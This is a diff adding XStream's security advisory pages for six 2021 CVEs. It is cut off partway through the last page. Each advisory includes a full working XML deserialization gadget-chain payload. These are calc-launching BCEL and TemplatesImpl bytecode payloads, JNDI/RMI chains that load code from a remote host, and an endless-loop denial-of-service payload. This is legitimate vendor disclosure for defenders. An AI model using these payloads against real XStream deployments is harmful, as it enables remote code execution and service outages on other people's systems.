CVE-2021-21350: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in an arbitrary code execution.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+      <comparator class='javafx.collections.ObservableList$1'/>
+    </default>
+    <int>3</int>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+      <dataHandler>
+        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
+          <contentType>text/plain</contentType>
+          <is class='java.io.SequenceInputStream'>
+            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
+              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
+                <names class='java.util.AbstractList$Itr'>
+                  <cursor>0</cursor>
+                  <lastRet>-1</lastRet>
+                  <expectedModCount>0</expectedModCount>
+                  <outer-class class='java.util.Arrays$ArrayList'>
+                    <a class='string-array'>
+                      <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>
+                    </a>
+                  </outer-class>
+                </names>
+                <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
+                  <parent class='sun.misc.Launcher$ExtClassLoader'>
+                  </parent>
+                  <package2certs class='hashtable'/>
+                  <classes defined-in='java.lang.ClassLoader'/>
+                  <defaultDomain>
+                    <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
+                    <principals/>
+                    <hasAllPerm>false</hasAllPerm>
+                    <staticPermissions>false</staticPermissions>
+                    <key>
+                      <outer-class reference='../..'/>
+                    </key>
+                  </defaultDomain>
+                  <packages/>
+                  <nativeLibraries/>
+                  <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
+                  <defaultAssertionStatus>false</defaultAssertionStatus>
+                  <classes/>
+                  <ignored__packages>
+                    <string>java.</string>
+                    <string>javax.</string>
+                    <string>sun.</string>
+                  </ignored__packages>
+                  <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
+                    <__path>
+                      <paths/>
+                      <class__path>.</class__path>
+                    </__path>
+                    <__loadedClasses/>
+                  </repository>
+                  <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
+                </processorCL>
+              </iterator>
+              <type>KEYS</type>
+            </e>
+            <in class='java.io.ByteArrayInputStream'>
+              <buf></buf>
+              <pos>0</pos>
+              <mark>0</mark>
+              <count>0</count>
+            </in>
+          </is>
+          <consumed>false</consumed>
+        </dataSource>
+        <transferFlavors/>
+      </dataHandler>
+      <dataLen>0</dataLen>
+    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
+    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+ +

The payload has been directly injected and was generated by following code:

+ +
import com.sun.org.apache.bcel.internal.classfile.Utility;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author threedr3am
+ */
+public class Evil {
+
+    public Evil() throws IOException {
+        Runtime.getRuntime().exec("open -a calculator");
+    }
+
+    public static void main(String[] args) throws IOException {
+        InputStream inputStream = Evil.class.getResourceAsStream("Evil.class");
+        byte[] bytes = new byte[inputStream.available()];
+        inputStream.read(bytes);
+        String code = Utility.encode(bytes, true);
+        String bcel = "$$BCEL$$" + code;
+        System.out.println(bcel);
+    }
+}
+
+ +
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload with the injected code gets executed.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

The vulnerability was discovered and reported by threedr3am.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-21351.html b/xstream-distribution/src/content/CVE-2021-21351.html new file mode 100644 index 000000000..4e2e50272 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-21351.html @@ -0,0 +1,135 @@ + + + + CVE-2021-21351 + + + +

Vulnerability

+ +

CVE-2021-21351: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<sorted-set>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
+      <m__DTMXRTreeFrag>
+        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
+          <m__size>-10086</m__size>
+          <m__mgrDefault>
+            <__overrideDefaultParser>false</__overrideDefaultParser>
+            <m__incremental>false</m__incremental>
+            <m__source__location>false</m__source__location>
+            <m__dtms>
+              <null/>
+            </m__dtms>
+            <m__defaultHandler/>
+          </m__mgrDefault>
+          <m__shouldStripWS>false</m__shouldStripWS>
+          <m__indexing>false</m__indexing>
+          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
+            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
+              <javax.sql.rowset.BaseRowSet>
+                <default>
+                  <concurrency>1008</concurrency>
+                  <escapeProcessing>true</escapeProcessing>
+                  <fetchDir>1000</fetchDir>
+                  <fetchSize>0</fetchSize>
+                  <isolation>2</isolation>
+                  <maxFieldSize>0</maxFieldSize>
+                  <maxRows>0</maxRows>
+                  <queryTimeout>0</queryTimeout>
+                  <readOnly>true</readOnly>
+                  <rowSetType>1004</rowSetType>
+                  <showDeleted>false</showDeleted>
+                  <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
+                  <listeners/>
+                  <params/>
+                </default>
+              </javax.sql.rowset.BaseRowSet>
+              <com.sun.rowset.JdbcRowSetImpl>
+                <default/>
+              </com.sun.rowset.JdbcRowSetImpl>
+            </fPullParserConfig>
+            <fConfigSetInput>
+              <class>com.sun.rowset.JdbcRowSetImpl</class>
+              <name>setAutoCommit</name>
+              <parameter-types>
+                <class>boolean</class>
+              </parameter-types>
+            </fConfigSetInput>
+            <fConfigParse reference='../fConfigSetInput'/>
+            <fParseInProgress>false</fParseInProgress>
+          </m__incrementalSAXSource>
+          <m__walker>
+            <nextIsRaw>false</nextIsRaw>
+          </m__walker>
+          <m__endDocumentOccured>false</m__endDocumentOccured>
+          <m__idAttributes/>
+          <m__textPendingStart>-1</m__textPendingStart>
+          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
+          <m__pastFirstElement>false</m__pastFirstElement>
+        </m__dtm>
+        <m__dtmIdentity>1</m__dtmIdentity>
+      </m__DTMXRTreeFrag>
+      <m__dtmRoot>1</m__dtmRoot>
+      <m__allowRelease>false</m__allowRelease>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+      <m__obj class='string'>test</m__obj>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+</sorted-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled or when + another element is added to the set.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by + manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

wh1t3p1g G5-RD6@IIE found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-29505.html b/xstream-distribution/src/content/CVE-2021-29505.html new file mode 100644 index 000000000..378eab8b6 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-29505.html @@ -0,0 +1,119 @@ + + + + CVE-2021-29505 + + + +

Vulnerability

+ +

CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of a local command on the server.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+    </default>
+    <int>3</int>
+    <javax.naming.ldap.Rdn_-RdnEntry>
+      <type>12345</type>
+      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
+      </value>
+    </javax.naming.ldap.Rdn_-RdnEntry>
+    <javax.naming.ldap.Rdn_-RdnEntry>
+      <type>12345</type>
+      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
+        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
+          <parsedMessage>true</parsedMessage>
+          <soapVersion>SOAP_11</soapVersion>
+          <bodyParts/>
+          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
+            <attachmentsInitialized>false</attachmentsInitialized>
+            <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
+              <soapPart/>
+              <mm>
+                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
+                  <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
+                    <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
+                      <names>
+                        <string>aa</string>
+                        <string>aa</string>
+                      </names>
+                      <ctx>
+                        <environment/>
+                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
+                          <java.rmi.server.RemoteObject>
+                            <string>UnicastRef</string>
+                            <string>ip2</string>
+                            <int>1099</int>
+                            <long>0</long>
+                            <int>0</int>
+                            <short>0</short>
+                            <boolean>false</boolean>
+                          </java.rmi.server.RemoteObject>
+                        </registry>
+                        <host>ip2</host>
+                        <port>1099</port>
+                      </ctx>
+                    </candidates>
+                  </aliases>
+                </it>
+              </mm>
+            </multiPart>
+          </sm>
+        </message>
+      </value>
+    </javax.naming.ldap.Rdn_-RdnEntry>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by + manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39139.html b/xstream-distribution/src/content/CVE-2021-39139.html new file mode 100644 index 000000000..b033d12a3 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39139.html @@ -0,0 +1,93 @@ + + + + CVE-2021-39139 + + + +

Vulnerability

+ +

CVE-2021-39139: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box with JDK + 1.7u21 or below. However, this scenario can be adjusted easily to an external Xalan that works regardless of the + version of the Java runtime. No user is affected, who followed the recommendation to setup + XStream's security framework with a whitelist limited to the minimal required + types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple LinkedHashSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<linked-hash-set>
+  <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization='custom'>
+    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
+      <default>
+        <__name>Pwnr</__name>
+        <__bytecodes>
+          <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNDE2NTkyOTE1MTgwNjAwAQAgTHlzb3NlcmlhbC9Qd25lcjQxNjU5MjkxNTE4MDYwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
+          <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
+        </__bytecodes>
+        <__transletIndex>-1</__transletIndex>
+        <__indentNumber>0</__indentNumber>
+      </default>
+    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
+  </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
+  <dynamic-proxy>
+    <interface>javax.xml.transform.Templates</interface>
+    <handler class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
+      <sun.reflect.annotation.AnnotationInvocationHandler>
+        <default>
+          <memberValues>
+            <entry>
+              <string>f5a5a608</string>
+              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference='../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/>
+            </entry>
+          </memberValues>
+          <type>javax.xml.transform.Templates</type>
+        </default>
+      </sun.reflect.annotation.AnnotationInvocationHandler>
+    </handler>
+  </dynamic-proxy>
+</linked-hash-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Lai Han of nsfocus security team found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39140.html b/xstream-distribution/src/content/CVE-2021-39140.html new file mode 100644 index 000000000..b5f5bd5b3 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39140.html @@ -0,0 +1,74 @@ + + + + CVE-2021-39140 + + + +

Vulnerability

+ +

CVE-2021-39140: XStream is vulnerable to a Denial of Service attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security framework + with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in an endless loop probably causing a denial of service.

+ +

Steps to Reproduce

+ +

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<linked-hash-set>
+  <sun.reflect.annotation.AnnotationInvocationHandler serialization='custom'>
+    <sun.reflect.annotation.AnnotationInvocationHandler>
+      <default>
+        <memberValues class='javax.script.SimpleBindings'>
+          <map class='javax.script.SimpleBindings' reference='..'/>
+        </memberValues>
+        <type>javax.xml.transform.Templates</type>
+      </default>
+    </sun.reflect.annotation.AnnotationInvocationHandler>
+  </sun.reflect.annotation.AnnotationInvocationHandler>
+</linked-hash-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, an endless loop is entered and the executing thread consumes maximum + CPU time and will never return.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU + type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Lai Han of nsfocus security team found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39141.html b/xstream-distribution/src/content/CVE-2021-39141.html new file mode 100644 index 000000000..d531115b0 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39141.html @@ -0,0 +1,232 @@ + + + + CVE-2021-39141 + + + +

Vulnerability

+ +

CVE-2021-39141: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+    </default>
+    <int>3</int>
+    <dynamic-proxy>
+      <interface>java.lang.Comparable</interface>
+      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
+        <owner/>
+        <managedObjectManagerClosed>false</managedObjectManagerClosed>
+        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
+          <stubHandlers>
+            <entry>
+              <method>
+                <class>java.lang.Comparable</class>
+                <name>compareTo</name>
+                <parameter-types>
+                  <class>java.lang.Object</class>
+                </parameter-types>
+              </method>
+              <com.sun.xml.internal.ws.client.sei.StubHandler>
+                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
+                  <indices>
+                    <int>0</int>
+                  </indices>
+                  <getters>
+                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
+                  </getters>
+                  <accessors>
+                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
+                      <val_-isJAXBElement>false</val_-isJAXBElement>
+                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
+                        <type>int</type>
+                        <field>
+                          <name>hash</name>
+                          <clazz>java.lang.String</clazz>
+                        </field>
+                      </val_-getter>
+                      <val_-isListType>false</val_-isListType>
+                      <val_-n>
+                        <namespaceURI/>
+                        <localPart>hash</localPart>
+                        <prefix/>
+                      </val_-n>
+                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
+                        <type>java.lang.String</type>
+                        <method>
+                          <class>javax.naming.InitialContext</class>
+                          <name>doLookup</name>
+                          <parameter-types>
+                            <class>java.lang.String</class>
+                          </parameter-types>
+                        </method>
+                      </val_-setter>
+                      <outer-class>
+                        <propertySetters>
+                          <entry>
+                            <string>serialPersistentFields</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>[Ljava.io.ObjectStreamField;</type>
+                              <field>
+                                <name>serialPersistentFields</name>
+                                <clazz>java.lang.String</clazz>
+                              </field>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                          <entry>
+                            <string>CASE_INSENSITIVE_ORDER</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>java.util.Comparator</type>
+                              <field>
+                                <name>CASE_INSENSITIVE_ORDER</name>
+                                <clazz>java.lang.String</clazz>
+                              </field>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                          <entry>
+                            <string>serialVersionUID</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>long</type>
+                              <field>
+                                <name>serialVersionUID</name>
+                                <clazz>java.lang.String</clazz>
+                              </field>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                          <entry>
+                            <string>value</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>[C</type>
+                              <field>
+                                <name>value</name>
+                                <clazz>java.lang.String</clazz>
+                              </field>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                          <entry>
+                            <string>hash</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
+                              <type>int</type>
+                              <field reference='../../../../../val_-getter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
+                          </entry>
+                        </propertySetters>
+                        <propertyGetters>
+                          <entry>
+                            <string>serialPersistentFields</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
+                              <type>[Ljava.io.ObjectStreamField;</type>
+                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
+                          </entry>
+                          <entry>
+                            <string>CASE_INSENSITIVE_ORDER</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
+                              <type>java.util.Comparator</type>
+                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
+                          </entry>
+                          <entry>
+                            <string>serialVersionUID</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
+                              <type>long</type>
+                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
+                          </entry>
+                          <entry>
+                            <string>value</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
+                              <type>[C</type>
+                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
+                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
+                          </entry>
+                          <entry>
+                            <string>hash</string>
+                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
+                          </entry>
+                        </propertyGetters>
+                        <elementLocalNameCollision>false</elementLocalNameCollision>
+                        <contentClass>java.lang.String</contentClass>
+                        <elementDeclaredTypes/>
+                      </outer-class>
+                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
+                  </accessors>
+                  <wrapper>java.lang.Object</wrapper>
